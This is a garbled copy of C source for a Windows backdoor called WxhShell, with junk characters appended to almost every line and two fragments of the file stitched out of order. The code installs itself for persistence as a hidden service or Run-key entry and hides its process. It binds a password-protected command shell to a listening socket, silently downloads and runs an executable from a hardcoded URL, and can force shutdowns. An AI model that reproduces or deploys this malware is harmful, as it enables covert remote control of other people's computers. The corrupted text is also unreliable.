    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q TN)2G  
    else { Su? cC/  
    closesocket(wsh); I_->vC|>  
    ExitThread(0); ?Y S 3)  
    } SA=>9L,2  
    break; M3|G^q:l  
    } dkCU U  
  // 获取shell 5E~^-wX  
  case 's': { Xxd]j]  
    CmdShell(wsh); @@{5]Y  
    closesocket(wsh); o59$v X,  
    ExitThread(0); XG C\6?L~  
    break; vDi Opd  
  } <Up ?w/9  
  // 退出 $7g+/3Fu^  
  case 'x': { f38e(Q];m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6'@{ * u  
    CloseIt(wsh); x{<l8vL=-c  
    break; E!mv}  
    } 'x"(OdM:[  
  // 离开 2=0HQXXrq  
  case 'q': { 8=joVbs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dY~z6bT  
    closesocket(wsh); p)?6#~9$  
    WSACleanup(); EEL3~H{(  
    exit(1); S7PWP< 9  
    break; sO 6=w%l^  
        } yrfV&C%=n  
  } r@Jy*2[-Jq  
  } Yb/*2iWX  
Nf3UVK8LtS  
  // 提示信息 4sn\UuKyL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?7LvJ8  
} *x;4::'Jn  
  } :N$-SV  
r-.@MbBm  
  return; h"0)spF"d  
} *0eU_*A^zO  
7X/t2Vih@  
// shell模块句柄 \#I$H9O  
int CmdShell(SOCKET sock) aVc{ aP  
{ rZaO^}u]  
STARTUPINFO si; b"N!#&O]  
ZeroMemory(&si,sizeof(si)); `V\?YS}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b7Zo~ Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (4A'$O2  
PROCESS_INFORMATION ProcessInfo; [x>Ju&))$  
char cmdline[]="cmd"; 9CeR^/i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6:Z8d%Z  
  return 0; 4m1r@ $  
} KAFR.h:p9  
~tW~%]bs2Q  
// 自身启动模式 mOn_#2=KF  
int StartFromService(void) )(-;H|]?  
{ gC/ e]7FNr  
typedef struct Uza '%R  
{ :Z6j5V;s  
  DWORD ExitStatus; TSsZzsdr2  
  DWORD PebBaseAddress; %KT}Map  
  DWORD AffinityMask; c:9n8skE7  
  DWORD BasePriority; Dpw*m.f  
  ULONG UniqueProcessId; c AEvv[  
  ULONG InheritedFromUniqueProcessId; .\^0RyJE  
}   PROCESS_BASIC_INFORMATION; :\His{%  
%'HDP3  
PROCNTQSIP NtQueryInformationProcess; I_u/  
N6}/TbfAR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jj2\;b:a0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;' uQBx}  
 xV5UaD<  
  HANDLE             hProcess; y3s+.5;  
  PROCESS_BASIC_INFORMATION pbi; RE%f'y  
KBN% TqH|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \?^2}K/  
  if(NULL == hInst ) return 0; Z}dK6h5+'  
e:9EP,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )XK\[tL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $P0q!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '!Hs"{~{  
f=R+]XPzz  
  if (!NtQueryInformationProcess) return 0; gaY&2  
>dt*^}*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ms(xQ[#+  
  if(!hProcess) return 0; gK[;"R)4o@  
tZ9i/=S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $Xu3s~:S  
HN{c)DIm]  
  CloseHandle(hProcess); ~dRstH7u  
cA q3Gh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0^-1d2Z~  
if(hProcess==NULL) return 0; 1w^wa_qx  
fj5 g\m  
HMODULE hMod; X&qx4 DL  
char procName[255]; !`Rh2g*o9  
unsigned long cbNeeded; /;Tc]  
([u|j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  XTJD>  
|0y#} |/  
  CloseHandle(hProcess); 2Kz+COP+  
xZ9:9/Vg  
if(strstr(procName,"services")) return 1; // 以服务启动 n_e'n|T  
?W'p&(;  
  return 0; // 注册表启动 3N+lWuE}K  
} cj8cV|8@  
m,E$KHt (  
// 主模块 +JU , ^A#X  
int StartWxhshell(LPSTR lpCmdLine) i U$ ~H  
{ lZ\8W^  
  SOCKET wsl; S13cQ?4  
BOOL val=TRUE; GrL{q;IO  
  int port=0; ^QRg9s,T<  
  struct sockaddr_in door; |:=o\eu&  
{q?&h'#y  
  if(wscfg.ws_autoins) Install(); EMW6'  
KeQcL4<  
port=atoi(lpCmdLine); YZBh}l6t  
kW g.-$pp  
if(port<=0) port=wscfg.ws_port; (8JU!lin  
5G* cAlU  
  WSADATA data; } p'ZMj&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;hX(/T  
vjGQ!xF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0Z9DewwP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NXY jb(4:  
  door.sin_family = AF_INET; I#M3cI!X?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;!4gDvm  
  door.sin_port = htons(port); M<fhQJ  
z*eBjHbF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { smQ^(S^  
closesocket(wsl); 2@D`^]]  
return 1; do}LaUz  
} jmM|on!  
6Dq4Q|C  
  if(listen(wsl,2) == INVALID_SOCKET) { #.bW9j/  
closesocket(wsl); $"^K~5Q  
return 1; 86r5!@WN  
} KQdIG9O+6  
  Wxhshell(wsl); <$(B[T  
  WSACleanup(); i6`"e[aT[o  
@p+;iS1}  
return 0; %iN>4;T8  
Z4j6z>qE  
} ,BU;i%G&s  
7~/cz_  
// 以NT服务方式启动 %z><)7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iQwQ5m!d &  
{ yGZsNd {a&  
DWORD   status = 0; S(Yd.Sp  
  DWORD   specificError = 0xfffffff; E $@W~).!  
u/zBz*zh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :S+K\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V#t_gS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X W)TI  
  serviceStatus.dwWin32ExitCode     = 0; Kx__&a  
  serviceStatus.dwServiceSpecificExitCode = 0; ji"g)d6  
  serviceStatus.dwCheckPoint       = 0; 7RAB"T;?Q  
  serviceStatus.dwWaitHint       = 0; ISbs l =F  
&],uD3:5O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =!O->C:  
  if (hServiceStatusHandle==0) return; `Lf'/q   
n|SV)92o1  
status = GetLastError(); }h5i Tc  
  if (status!=NO_ERROR) )+E[M!34  
{ 1j<(?MT-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z^gJy,T  
    serviceStatus.dwCheckPoint       = 0; K}V CFV  
    serviceStatus.dwWaitHint       = 0; O !L`0 =%c  
    serviceStatus.dwWin32ExitCode     = status; VM"cpC_8  
    serviceStatus.dwServiceSpecificExitCode = specificError; *Z5^WHwg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [VCC+_  
    return; tZrc4$D-  
  } kNEEu! G  
Lsmcj{1d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^PksXfk  
  serviceStatus.dwCheckPoint       = 0; J3K=z  
  serviceStatus.dwWaitHint       = 0; 7|P kc(O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U@lc 1#  
} yBIlwN`kB  
Y?T{>"_W  
// 处理NT服务事件,比如:启动、停止 `BPTcL<W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %`vzQt`>  
{ w2 )Ro:G  
switch(fdwControl) o u|emAV  
{ DX>a0-Xj  
case SERVICE_CONTROL_STOP: $`=p]  
  serviceStatus.dwWin32ExitCode = 0; f-=\qSo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :$5A3i  
  serviceStatus.dwCheckPoint   = 0; gg;r;3u  
  serviceStatus.dwWaitHint     = 0; E h%61/  
  { 5jdZC(q5a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qt GJJ#^,  
  } .1x04Np!  
  return; ( ?V`|[+u  
case SERVICE_CONTROL_PAUSE: FqKJids-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;t`  ?|  
  break; EP;/[O  
case SERVICE_CONTROL_CONTINUE: !QUY (  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j =_rUc'Me  
  break; K~x,so  
case SERVICE_CONTROL_INTERROGATE: T5BZD +Ta  
  break; G7-BeA8  
}; I$Nh|eM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o_b[*  
} c PGlT"  
|m19fg3u  
// 标准应用程序主函数 PJnC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B[vj X"yg  
{ ^?69|,  
)M*w\'M  
// 获取操作系统版本 TQ Vk;&A  
OsIsNt=GetOsVer(); 2EY"[xK|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?HZp @ &  
DA =U=F  
  // 从命令行安装 $ |4C]Me (  
  if(strpbrk(lpCmdLine,"iI")) Install(); l?Y^3x}j  
`sxfj)s  
  // 下载执行文件 uFd$*`jS  
if(wscfg.ws_downexe) { q^@*{H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yoi4w 7:  
  WinExec(wscfg.ws_filenam,SW_HIDE); LHAlXo;  
} &dtk&P{  
bRC243]g*A  
if(!OsIsNt) { R{hX--|j  
// 如果时win9x,隐藏进程并且设置为注册表启动 L\yVE J9x  
HideProc(); y>{: [L9*  
StartWxhshell(lpCmdLine); :fRXLe1=  
} mp|pz%U  
else -@uFRQ t  
  if(StartFromService()) b^Hr zn  
  // 以服务方式启动 <J[ le=  
  StartServiceCtrlDispatcher(DispatchTable); ? @V R%z  
else fS]& ?$q  
  // 普通方式启动 :d mE/Tq  
  StartWxhshell(lpCmdLine); FR(W.5[  
=O/Bte.  
return 0; vN v?trw  
} T}~TW26v  
BT{;^Hp  
J=V  
gmTBT#{6yH  
=========================================== wZrFu(_  
xQ?>72grP  
g14*6O:  
#kg`rrF r  
_iwG'a[`  
4" @<bKx  
" aCQtE,.  
N gNGq\!  
#include <stdio.h> Hg+<GML  
#include <string.h> P{L=u74b{x  
#include <windows.h> 7GA8sK  
#include <winsock2.h> Wj{lb_Rj  
#include <winsvc.h> UuG%5 ZC  
#include <urlmon.h> F[qXIL)  
5'lVh/  
#pragma comment (lib, "Ws2_32.lib") 0V%c%]PH  
#pragma comment (lib, "urlmon.lib") 6K2e]r  
 *7Dba5B  
#define MAX_USER   100 // 最大客户端连接数 B6XO&I1c  
#define BUF_SOCK   200 // sock buffer tMr7d  
#define KEY_BUFF   255 // 输入 buffer &|SWy 2 N  
]A4=/6`g?b  
#define REBOOT     0   // 重启 {+N< 9(O  
#define SHUTDOWN   1   // 关机 Z:b?^u4.  
}A9#3Y|F  
#define DEF_PORT   5000 // 监听端口 A`c22Ls]  
,"qCz[aDN1  
#define REG_LEN     16   // 注册表键长度 "EW8ll7r  
#define SVC_LEN     80   // NT服务名长度 M,Gy.ivz  
:XKYfc_y  
// 从dll定义API ~G@NWF?7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [%IOB/{N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Da^q9,|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +a#&W}K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;i{B,!#  
,CE/o7.FG  
// wxhshell配置信息 x"r0<RK  
struct WSCFG { u ExLj6  
  int ws_port;         // 监听端口 T+8Yd(:hX  
  char ws_passstr[REG_LEN]; // 口令 ,n|si#  
  int ws_autoins;       // 安装标记, 1=yes 0=no <y 4(!z"  
  char ws_regname[REG_LEN]; // 注册表键名 F?L]Dff  
  char ws_svcname[REG_LEN]; // 服务名 jKSj);  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 , c.^"5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _h%Jf{nu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gqaM<!]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u#05`i:Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !_glZ*tL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q+CJd>B  
; :e7Z^\/k  
}; ! FcGa  
KbJ6U75|f  
// default Wxhshell configuration ^0,}y]5p  
struct WSCFG wscfg={DEF_PORT, aRd~T6I  
    "xuhuanlingzhe", 6]4~]!  
    1, +cpb!YEAb  
    "Wxhshell", 1nVQYqT_  
    "Wxhshell", 2g(_Kdj*{  
            "WxhShell Service", qLR;:$]Q&8  
    "Wrsky Windows CmdShell Service", t@KTiJI ]  
    "Please Input Your Password: ", .EYL  
  1, 7:`XE&Z  
  "http://www.wrsky.com/wxhshell.exe", 8)B{x[?|  
  "Wxhshell.exe" 7uBx  
    }; I=`?4%  
B<W}:>3  
// 消息定义模块 +'H[4g`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X[z;P!U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pj'gTQ),0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <O jK $KV  
char *msg_ws_ext="\n\rExit."; 2OG/0cP  
char *msg_ws_end="\n\rQuit."; Q0*E&;|  
char *msg_ws_boot="\n\rReboot..."; 8 Ku9;VEk  
char *msg_ws_poff="\n\rShutdown..."; N'1I6e"  
char *msg_ws_down="\n\rSave to "; *0U#Z]t  
L F?/60  
char *msg_ws_err="\n\rErr!"; zD_5TG M=  
char *msg_ws_ok="\n\rOK!"; =lNW1J\SW  
V[ UOlJ  
char ExeFile[MAX_PATH]; @Z]0c=-+  
int nUser = 0; bR`5g  
HANDLE handles[MAX_USER]; &BVUK"}P  
int OsIsNt; e\)%<G5  
ui]iO p  
SERVICE_STATUS       serviceStatus; q NGR6i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4S(G366  
6v@Prw@.b  
// 函数声明 R P{pEd  
int Install(void); +o+f\!  
int Uninstall(void); K#FD$,c~  
int DownloadFile(char *sURL, SOCKET wsh); L1IF$eC  
int Boot(int flag); 1$Up7=Dr=  
void HideProc(void); 6/!:vsa"3  
int GetOsVer(void); 288mP]a(v_  
int Wxhshell(SOCKET wsl); mF gqM:  
void TalkWithClient(void *cs); dJ"44Wu+J  
int CmdShell(SOCKET sock); r*HSi.'21  
int StartFromService(void); (nqhX<T>  
int StartWxhshell(LPSTR lpCmdLine); jMT[+f  
r$<!?Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -J]?M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0GMb?/   
/cS8@)e4  
// 数据结构和表定义 \mF-L,yu  
SERVICE_TABLE_ENTRY DispatchTable[] = <XL%*  
{ XT0-"-q  
{wscfg.ws_svcname, NTServiceMain}, |dIR v  
{NULL, NULL} ;5X6`GlS#5  
}; +;,{`*W+N  
}#zL)+XI  
// 自我安装 WO>A55Xya  
int Install(void) RqROl!6  
{ EXdX%T\  
  char svExeFile[MAX_PATH]; PvKGB01_  
  HKEY key; yf{\^^ i(  
  strcpy(svExeFile,ExeFile); Uahh|> s  
Q-)(s  
// 如果是win9x系统,修改注册表设为自启动 \:'GAByy  
if(!OsIsNt) { ;v8TT}R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y] 1U1 08  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \Y,P  
  RegCloseKey(key); (U\o0LI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i7RK*{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^|/<e?~I  
  RegCloseKey(key); HOD?i_  
  return 0; jS,Pu%fR  
    } c[J 2;"SP  
  } fwpp qIM  
} CW;zviH5  
else { CfOyHhhKX  
X8}r= K~  
// 如果是NT以上系统,安装为系统服务 l(Y32]Z   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); THl:>s  
if (schSCManager!=0) fD%/]`y  
{ J5b3r1~D"[  
  SC_HANDLE schService = CreateService pyf'_  
  ( mR.j8pi  
  schSCManager, @Z0. }}Y  
  wscfg.ws_svcname, n6[shXH  
  wscfg.ws_svcdisp, GS*O{u  
  SERVICE_ALL_ACCESS, gvVy0nJI~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Gn7\4,C  
  SERVICE_AUTO_START, JKKp5~_~  
  SERVICE_ERROR_NORMAL, nA Nl9;G  
  svExeFile, fe\'N4  
  NULL, 8y<mHJ[B  
  NULL, I'D3~UI f  
  NULL, .(&6gB  
  NULL, +R?E @S  
  NULL Gb2|e.z  
  ); v~RxtTu  
  if (schService!=0) u!xgLf'`  
  { :qS~"@?<  
  CloseServiceHandle(schService); Qc33C A  
  CloseServiceHandle(schSCManager); yO-2.2h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (muJ-~CJk  
  strcat(svExeFile,wscfg.ws_svcname); '+_-r'2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ks$5$,^T2o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <F`9;WX  
  RegCloseKey(key); 02 FLe*zQ  
  return 0; 06NiH-0O  
    } .}E<,T  
  } F_u ?.6e]  
  CloseServiceHandle(schSCManager); pg!mOyn  
} .aL%}`8l?  
} 0gyvRM@ x[  
D}%VZA}].  
return 1; FoIK, MdJ  
} =}ZY`O*/  
-X*.scw  
// 自我卸载 !'\(OFv9Im  
int Uninstall(void) 7|Vpk&.>  
{ @"cnPLh&  
  HKEY key; Pf8_6z_  
[:,|g;=Y}  
if(!OsIsNt) { ~+6#4<M.~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C&q}&=3r  
  RegDeleteValue(key,wscfg.ws_regname); R||$Wi[$  
  RegCloseKey(key); [L7S`Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ev#, }l+  
  RegDeleteValue(key,wscfg.ws_regname); W9Us I  
  RegCloseKey(key); XW'7  
  return 0; ~+\A4BW  
  } (3 ,7  
} 2AqcabI9  
} J bima>  
else { m:EYOe,w  
")boY/ P/w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q89yW)XG  
if (schSCManager!=0) a"+VP>4  
{ ABE EJQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4&]NC2I  
  if (schService!=0) GNG.N)q#C  
  { : Q,O:  
  if(DeleteService(schService)!=0) { Z(E .F,k  
  CloseServiceHandle(schService); bz&9]% S<  
  CloseServiceHandle(schSCManager); ,0L< wa  
  return 0; 11$v~<M  
  } 84(jg P  
  CloseServiceHandle(schService); WUDXx %  
  } PC=s:`Y}R  
  CloseServiceHandle(schSCManager); PVKq&Q?  
} N}|1oQkjf  
} PHsM)V+  
NFU=PS$  
return 1; G4F~V't  
} #.j:P#  
9Up> e  
// 从指定url下载文件  z_C7=ga<  
int DownloadFile(char *sURL, SOCKET wsh) Cn9MboXX  
{ ht:L L#b*(  
  HRESULT hr; ,! ~U5~  
char seps[]= "/"; 4[0.M  
char *token; )sEAP Ika  
char *file; a(U/70j  
char myURL[MAX_PATH]; z ISy\uka  
char myFILE[MAX_PATH]; 7")&njQ/x  
^-}3 +YA  
strcpy(myURL,sURL); lZ+ 1 A0e  
  token=strtok(myURL,seps); .b%mr:nEt7  
  while(token!=NULL) ]sI{ +$~:c  
  { |qk%UN<  
    file=token; 51%<N\>/4  
  token=strtok(NULL,seps); D@mqfi(x  
  } t/"9LMKs?  
,"5p=JX`  
GetCurrentDirectory(MAX_PATH,myFILE); <RkJ 7Z^  
strcat(myFILE, "\\"); I>3G"[t  
strcat(myFILE, file); RML'C:1  
  send(wsh,myFILE,strlen(myFILE),0); lce~6}  
send(wsh,"...",3,0); U&tR1v'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TwE&5F*  
  if(hr==S_OK) aG1[85:,\i  
return 0; c_2kHT  
else RK]."m0c~#  
return 1; '$OLU[(Y  
TLzcQ|  
} m+'X8}GC#O  
XG6UV('  
// 系统电源模块 7w"YCRKh  
int Boot(int flag) VM ny>g&3  
{ XN' X&J  
  HANDLE hToken; [TpW$E0H  
  TOKEN_PRIVILEGES tkp; #lm1"~`5  
=>h~<88#5  
  if(OsIsNt) { |Oaj Jux  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \-s'H:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HYk*;mD  
    tkp.PrivilegeCount = 1; d7QQ5FiB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (aH_K07  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7<ES&ls_  
if(flag==REBOOT) { q} R"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |7T!rnr  
  return 0; /9yA.W;  
} ;c>Rjg&[  
else { 'uOp?g'7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ie;}k;?-  
  return 0; seH#v  
} :!EOg4%i  
  } 4a~9?}V:  
  else { 4B8{\ "6  
if(flag==REBOOT) { pRdO4?l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &"svt2  
  return 0; !*xQPanL  
} Ts:pk  
else { WS0RvBvb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kR-5RaW  
  return 0; , v6[#NU_Z  
} ex2*oqAdX  
} Ih95&HsdC  
}F R yG%  
return 1; Icf@uQ6  
} _zO,VL  
t UW'E  
// win9x进程隐藏模块 }%rz"kB  
void HideProc(void) P8s'e_t  
{ h^0!I TL^  
0)qLW& w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vi>V6IC4v  
  if ( hKernel != NULL ) >!YI7)  
  { Lp/]iZ@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7QRtNYo#\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {ByT,92  
    FreeLibrary(hKernel); VL<)d-  
  } Z)(C7,Xu  
/T*]RO4%>]  
return; *Mqg_} 0Y  
} FyQ^@@  
cj<j *(ZZ  
// 获取操作系统版本 vexQP}N0  
int GetOsVer(void) Hp":r%)  
{ b_=k"d  
  OSVERSIONINFO winfo; S?=2GY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  o*QhoDjc  
  GetVersionEx(&winfo); U=%S6uL\bx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fr\UX}o  
  return 1; @,sg^KB  
  else ? B^*YCo7(  
  return 0; ,[^P  
} X;p,Wq#D'  
PHD$E s  
// 客户端句柄模块 4oOe  
int Wxhshell(SOCKET wsl) 58MBG&a%  
{ g!%csf  
  SOCKET wsh; c66Iy"  
  struct sockaddr_in client; :/Nz' n  
  DWORD myID; ou-5iH?  
GYv2 ^IB:  
  while(nUser<MAX_USER) !=0N38wA  
{ x<=+RYz#^:  
  int nSize=sizeof(client); eA_1?j]E3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <  v_?}  
  if(wsh==INVALID_SOCKET) return 1; 3!CI=(^IY  
GI7CZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A HKS [ N  
if(handles[nUser]==0) &ze'V , :  
  closesocket(wsh); d|6*1hby  
else DjL(-7'p  
  nUser++; e v?Hz8Q;(  
  } P[ KJuc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8N8B${X  
} ho8d+A  
  return 0; r0j:ll d  
} *RM#F !A  
K| Y r  
// 关闭 socket m&|?mTo>m  
void CloseIt(SOCKET wsh) E<&VK*{zcO  
{ ZT_EpT=1  
closesocket(wsh); ?^IM2}(p  
nUser--; g[@]OsX   
ExitThread(0); hlkf|H  
} E9226  
.Fh5:W N  
// 客户端请求句柄 35jP</  
void TalkWithClient(void *cs) sOLo[5y'  
{ F/RV{} 17E  
}(TZ}* d  
  SOCKET wsh=(SOCKET)cs; Cg21-G .  
  char pwd[SVC_LEN]; qdj,Qz9ly  
  char cmd[KEY_BUFF]; (g~&$&pa  
char chr[1]; FJ>| l#nO  
int i,j; m=NX;t  
yNY1g?E  
  while (nUser < MAX_USER) { )X| uOg&|  
{u46m  
if(wscfg.ws_passstr) { 3r^i>r8B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }N4=~'R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eB!0:nHN  
  //ZeroMemory(pwd,KEY_BUFF); WZ ~rsSZSV  
      i=0; r"U$udwjg  
  while(i<SVC_LEN) { |$9k z31  
&&(sZG w  
  // 设置超时 Ty#L%k}-t  
  fd_set FdRead; g4j?E{M?  
  struct timeval TimeOut; kfA%%A  
  FD_ZERO(&FdRead); N9:xtrJ]_J  
  FD_SET(wsh,&FdRead); j t-ayLq  
  TimeOut.tv_sec=8; )BS./zD*[<  
  TimeOut.tv_usec=0; "2qp-'^[c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -jFt4Q7}8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7=mU["raz`  
|3\ mH~Bw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {b+!0[  
  pwd=chr[0]; ](- :l6  
  if(chr[0]==0xd || chr[0]==0xa) { bv$)^  
  pwd=0; \\x``*  
  break; +~02j1Jx  
  } 01#a  
  i++; = ?T'@C  
    } {Sd{|R_  
 [Fr.ik  
  // 如果是非法用户,关闭 socket LYavth`@h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Eh0R0;l5>  
} OES+BXGX  
i>q]U:U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g;eMsoJG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {o5E#<)  
Ck(D: % ~s  
while(1) { !lL21C6g+  
0j4bu}@  
  ZeroMemory(cmd,KEY_BUFF); -5d8j<,  
d^WVWk K  
      // 自动支持客户端 telnet标准   zn>*^h0B  
  j=0; FrB}2  
  while(j<KEY_BUFF) { 0D:J d6\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 86@"BNnTh  
  cmd[j]=chr[0];  g5X+iV  
  if(chr[0]==0xa || chr[0]==0xd) { O\B_=KWDO  
  cmd[j]=0; ;wgm 'jr  
  break; I6'U[)%  
  } gn#4az3@e>  
  j++; pvP|.sw5G  
    } ezCsbV;. [  
JTQ$p*2]  
  // 下载文件 KDwjck"5;  
  if(strstr(cmd,"http://")) { 8GV$L~i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  [L] ca*  
  if(DownloadFile(cmd,wsh)) qnv9?Xh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C-m OtI  
  else 6#KRI%adw`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2\lUaC#E  
  } XNf%vC>  
  else { m(XcPb  
GmPNzHDb  
    switch(cmd[0]) { +KrV!Taf  
  AAxY{Z-4  
  // 帮助 Bj;Fy9[yb  
  case '?': { AnfJyltS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $^y6>@~  
